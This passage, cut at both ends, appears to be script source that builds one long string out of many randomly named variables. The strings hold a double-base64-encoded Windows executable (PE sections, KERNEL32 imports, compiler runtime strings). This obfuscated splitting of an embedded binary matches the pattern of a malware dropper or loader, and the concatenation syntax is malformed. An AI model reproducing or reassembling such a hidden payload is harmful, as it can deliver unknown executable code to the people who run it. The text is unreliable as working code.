"QUFPZ1hBZ0FBQUFBQXlCY0NBQUFBQUFDd0Z3SUFBQUFBQUhvZEFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFiQm9DQUFBQUFBQzJHZ0lBQUFBQUFOSWFBZ0FBQUFBQTZob0NBQUFBQUFENEdnSUFBQUFBQUE0YkFnQUFBQUFBR2hzQ0FBQUFBQUFxR3dJQUFBQUFBRG9iQWdBQUFBQUFpQm9DQUFBQUFBQmdHZ0lBQUFBQUFGUWFBZ0FBQUFBQVJCb0NBQUFBQUFBMEdnSUFBQUFBQUI0YUFnQUFBQUFBOEJrQ0FBQUFBQURtR1FJQUFBQUFBTndaQWdBQUFBQUF6aGtDQUFBQUFBREFHUUlBQUFBQUFMSVpBZ0FBQUFBQXFoa0NBQUFBQUFDaUdRSUFBQUFBQUpRWkFnQUFBQUFBaUJrQ0FBQUFBQUJtR1FJQUFBQUFBRVFaQWdBQUFBQUFLaGtDQUFBQUFBQVdHUUlBQUFBQUFBWVpBZ0FBQUFBQTlCZ0NBQUFBQUFEaUdBSUFBQUFBQU5JWUFnQUFBQUFBeUJnQ0FBQUFBQUN1R0FJQUFBQUFBSndZQWdBQUFBQUFtaG9DQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + kUozySeFfiJiWBdZvCFFrrdxoTSfXmBjPevyUb = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + ukSyHuWLSaVUrwVfEfCREVehGPjvISzxLOwkzbNqIAmVy = "QlhrRmRRVnhmWGx0ZHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek14QVUwaUQ3RkJJaXdYTGVRQUFTRFBFU0lsRUpFREhSQ1F3QUFBQUFNZEVKRFFBQUFBQXgwUWtPQUFBQUFBendEUEpENkpNalVRa0lFR0pBRUdKV0FSQmlVZ0lRWWxRRExnRUFBQUFTR3ZBQUl0RUJDQ0pSQ1FVdUFRQUFBQklhOEFCaTBRRUlEVkhaVzUxdVFRQUFBQklhOGtEaTB3TUlJSHhhVzVsU1F2QnVRUUFBQUJJYThrQ2kwd01JSUh4Ym5SbGJBdkJoY0IxQ3NkRUpBd0JBQUFBNndqSFJDUU1BQUFBQUErMlJDUU1pQVFrdUFRQUFBQklhOEFCaTBRRUlEVkJkWFJvdVFRQUFBQklhOGtEaTB3TUlJSHhaVzUwYVF2QnVRUUFBQUJJYThrQ2kwd01JSUh4WTBGTlJBdkJoY0IxQ3NkRUpC" + kiwEfSwbhkXperQLoELoyBXdrSpxHTAXgsYTrLTUuiZPImsimfJRFNPSwgkmKnZNVrXq = "QUFNS3dCUUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUVDc0FVQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnVieUIzWVhraElTRUFBQUJpWVdRQVoyOXZaQUFBQUFEd3JRRkFBUUFBQUFDdkFVQUJBQUFBV0xBQlFBRUFBQUNBc0FGQUFRQUFBTUN3QVVBQkFBQUErTEFCUUFFQUFBQUJBQUFBQUFBQUFBRUFBQUFCQUFBQUFRQUFBQUVBQUFCVGRHRmpheUJoY205MWJtUWdkR2hsSUhaaGNtbGhZbXhsSUNjQUFBQUFBQ2NnZDJGeklHTnZjbkoxY0hSbFpDNEFBQUFBQUFBQUFGUm9aU0IyWVhKcFlXSnNaU0FuQUFBbklHbHpJR0psYVc1bklIVnpaV1FnZDJsMGFHOTFkQ0JpWldsdVp5QnBibWwwYVdGc2FYcGxaQzRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVkdobElIWmhiSFZsSUc5bUlFVlRVQ0IzWVhNZ2JtOTBJSEJ5YjNCbGNteDVJSE5oZG1Wa0lHRmpjbTl6Y3lCaElHWjFibU4wYVc5dUlHTmhiR3d1SUNCVWFHbHpJR2x6SUhWemRXRnNiSGtnWVNCeVpYTjFiSFFnYjJZZ1kyRnNi" + BnBfMYeYWEZEQqZZgBiphAzpawtwRnSUfnIatVlrrPKgoagdMIs = "QUFBQUFBQUFGSmxaME5zYjNObFMyVjVBQUFBQUFCVEFFOEFSZ0JVQUZjQVFRQlNBRVVBWEFCWEFHOEFkd0EyQURRQU13QXlBRTRBYndCa0FHVUFYQUJOQUdrQVl3QnlBRzhBY3dCdkFHWUFkQUJjQUZZQWFRQnpBSFVBWVFCc0FGTUFkQUIxQUdRQWFRQnZBRndBTVFBMEFDNEFNQUJjQUZNQVpRQjBBSFVBY0FCY0FGWUFRd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCUUFISUFid0JrQUhVQVl3QjBBRVFBYVFCeUFBQUFBQUFBQUFBQUFBQUFBRVFBVEFCTUFBQUFBQUFBQUFBQUFBQk5BRk1BVUFCRUFFSUFNUUEwQURBQUFBQUFBQUFBQUFCTkFGTUFVQUJFQUVJQU1RQTBBREFBQUFBQUFBQUFBQUJRUkVKUGNHVnVWbUZzYVdSaGRHVTFBQUFBQUhJQUFBQUFBQUFBQUFBQUFFQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSTBBRkFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFKQUFRQUFBQ0F3QWtBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + zIlByGQtxrTAJVlTCjNloPoxQZyhA = "OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0JpRFBhbU9BQUFBZFFuSEJDUUJBQUFBNndmSEJDUUFBQUFBaXdRa1NJUEVHTVBNek16TXpNek16TXpNekVpTkJSbVhBQUREek16TXpNek16TXhJalFYeGxnQUF3OHpNek16TXpNek1pVXdrQ01jRnhwWUFBQUFBQUFERHpNek16TXpNek16TXpNek16TXpNek15SlRDUUlWMGlCN1BBRkFBQzVGd0FBQVA4VnFjNEFBSVhBZEF1TGhDUUFCZ0FBaThqTktia0RBQUFBNkxYUS8vOUlqWVFrSUFFQUFFaUwrRFBBdWRBRUFBRHpxa2lOakNRZ0FRQUEveFhtelFBQVNJdUVKQmdDQUFCSWlVUWtVRVV6d0VpTlZDUllTSXRNSkZEL0ZjN05BQUJJaVVRa1NFaURmQ1JJQUhSQlNNZEVKRGdBQUFBQVNJMUVKSEJJaVVRa01FaU5SQ1I0U0lsRUpDaElqWVFrSUFFQUFFaUpSQ1FnVEl0TUpFaE1pMFFrVUVpTFZDUllNOG4vRllqTkFBQklpNFFrK0FVQUFFaUpoQ1FZQWdBQVNJMkVKUGdGQUFCSWc4QUlTSW1FSkxnQkFBQklqWVFrZ0FBQUFFaUwrRFBBdVpnQUFBRHpxc2VFSklBQUFBQVZBQUJBeDRRa2hBQUFBQUVBQUFCSWk0UWsrQVVBQUVpSmhDU1FBQUFBL3hYMHpBQUFnL2dCZFFmR1JDUkFBZXNGeGtRa1FBQVB0a1FrUUloRUpFRklqWVFrZ0FBQUFFaUpSQ1JnU0kyRUpDQUJBQUJJaVVRa2FEUEoveFY0elFBQVNJMU1KR0QvRmVYTUFBQ0pSQ1JF" + czyBdpTqXRwcJVOUWkrggOGUymhuCzDOujPPMDouEPSuUgJxYKOviAjHVP = "UVZSQlZVRldRVmRJZ2V5d0RnQUFTSXNGVHFRQUFFZ3p4RWlKaENTUURnQUFSVFB0U1dQb1JZdjFUWXY1Ukl2aVNJdlo2TERrLy85SWkvaEloY0IxQzBpTHkraHI1Ly8vVEl2d1JJbHNKQ2hCdWYvLy8vOU5pOGRNaVd3a0lEUFNTSW0wSktnT0FBQzU2ZjBBQVA4VkFlUUFBRWhqeUVpQitRQUNBQUJ6TTRsRUpDaEJ1Zi8vLy85SWpZUWtrQW9BQUUyTHh6UFNTSWxFSkNDNTZmMEFBUDhWenVNQUFFaU50Q1NRQ2dBQWhjQjFCMGlOTmNPRUFBQzVBaEFBQU9oWit2Ly9oTUIwSVVpTkRjYUFBQUJNaTg2TEZLbE1pOE9MemVpTyt2Ly9oTUFQaFVzQkFBRHJBckFCVFlYMmRRbEloZjhQaERnQkFBQ0V3SFFPL3hWaTR3QUFoY0FQaFNZQkFBQklqWVFrWUFJQUFNZEVKQ2dFQVFBQVNJMUwrMGlKUkNRZ1RJMU1KRUJCdUFRQkFBQklqVlFrVU9qSDVmLy9TSVgvZENwSWlYUWtNRWlOQmNPRUFBQ0piQ1FvVEkyTUpHQUNBQUJJaVVRa0lFaU5WQ1JRU0l2SDZiWUFBQUJNaVd3a09FaU5oQ1J3QkFBQVRJbHNKREJNalVRa1VNZEVKQ2dLQXdBQVNJMDl6NFFBQUVHNS8vLy8vMGlKUkNRZ005SzU2ZjBBQVA4VjErSUFBRXlKYkNRNFNJMmNKSEFFQUFDRndFeUpiQ1F3U0kyRUpJQUhBQURIUkNRb0NnTUFBRWdQUk45SWlVUWtJRFBTVEkyRUpHQUNBQUJCdWYvLy8vOUlqVDJMaEFBQXVlbjlBQUQvRllqaUFBQk1pWHdrTUV5" + BgcwqEuOjbRLfvYOkIeO = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + izdNRwcJTeFo = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFFQkFRRUJBUUVCQVFFQkFRRUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + YGBHxOaXgIoKdqWzNQGNHtqUEMzos = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVBCU1VQSXdvQkhRQURj" + gkPIowzPeMzZhIlu = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + XgBQyggOVzqWSVBIMaefHTOEuQxOQwtSFrvMUrNTrUEmiUZJUAtcTscKrDnJrBZyw = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + RseODqsHZOcDsHSeQJsCp = "QUFBQUFBQUF1ZEdWNGRHSnpjd0FBQVFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnQUFEZ0xuUmxlSFFBQUFDUGdRQUFBQkFCQUFDQ0FBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFZQzV5WkdGMFlRQUFQUzRBQUFDZ0FRQUFNQUFBQUlZQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUVBdVpHRjBZUUFBQVBBSUFBQUEwQUVBQUFJQUFBQzJBQUFBQUFBQUFBQUFBQUFBQUFCQUFBREFMbkJrWVhSaEFBQklJUUFBQU9BQkFBQWlBQUFBdUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBUUM1cFpHRjBZUUFBR1E4QUFBQVFBZ0FBRUFBQUFOb0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQXViWE4yWTJwdFl4SUJBQUFBSUFJQUFBSUFBQURxQUFBQUFBQUFBQUFBQUFBQUFBQkFBQURBTGpBd1kyWm5BQUIxQVFBQUFEQUNBQUFDQUFBQTdBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQVFDNXljM0pqQUFBQVBBUUFBQUJBQWdBQUJnQUFBTzRBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1Y21Wc2IyTUFBSFVDQUFBQVVBSUFBQVFBQUFEMEFBQUFBQUFBQUFBQUFBQUFBQUJBQUFCQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + xdBS = "ek16TXpNek16TXpNek16TXpNekVpSlRDUUlTSVBzS0VpRGZDUXdBSFVFTXNEcmNFaUxSQ1F3U0lrRUpFaUxCQ1FQdHdBOVRWb0FBSFFFTXNEclZVaUxCQ1JJWTBBOFNJc01KRWdEeUVpTHdVaUpSQ1FRU0l0RUpCQklpVVFrQ0VpTFJDUUlnVGhRUlFBQWRBUXl3T3NqU0l0RUpBaElnOEFZU0lsRUpCaElpMFFrR0ErM0FEMExBZ0FBZEFReXdPc0NzQUZJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1aVWlMQkNVd0FBQUF3OHpNek16TXpFaUQ3RWpvNHRqLy80WEFkUVF5d090TTZMRGEvLzlJaTBBSVNJbEVKQ2hJaTBRa0tFaUpSQ1F3U0kwTnNKOEFBRFBBU0l0VUpERHdTQSt4RVVpSlJDUWdTSU44SkNBQWRCSklpMFFrSUVnNVJDUW9kUVN3QWVzRTY4UXl3RWlEeEVqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS09oaTJQLy9oY0IwQitnZzJ2Ly82eExvS2RuLy80WEFkQVF5d09zSDZEYlkvLyt3QVVpRHhDakR6TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0NnenllakIxLy8vRDdiQWhjQjFCRExBNndLd0FVaUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNekVpRDdDam9pZGYvL3crMndJWEFkUVF5d09zWDZETFkvLzhQdHNDRndIVUo2Ty9YLy84eXdPc0NzQUZJZzhRb3c4ek16TXpNek16TXpNek16" + gAeijdYgfomMRoOeMejpaoIYRXooMsJRSX = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + TpxkVXqMUpsPDfXyHhBcXTCkqGNpjIL = "UWNtOWpRV1JrY21WemN3QUFTMFZTVGtWTU16SXVaR3hzQUFBOEFHMWxiV053ZVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + PIkxRHBZXbWiGvPkUBnCkhaGEtGOaTVcZkOejmvrTsocw = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + 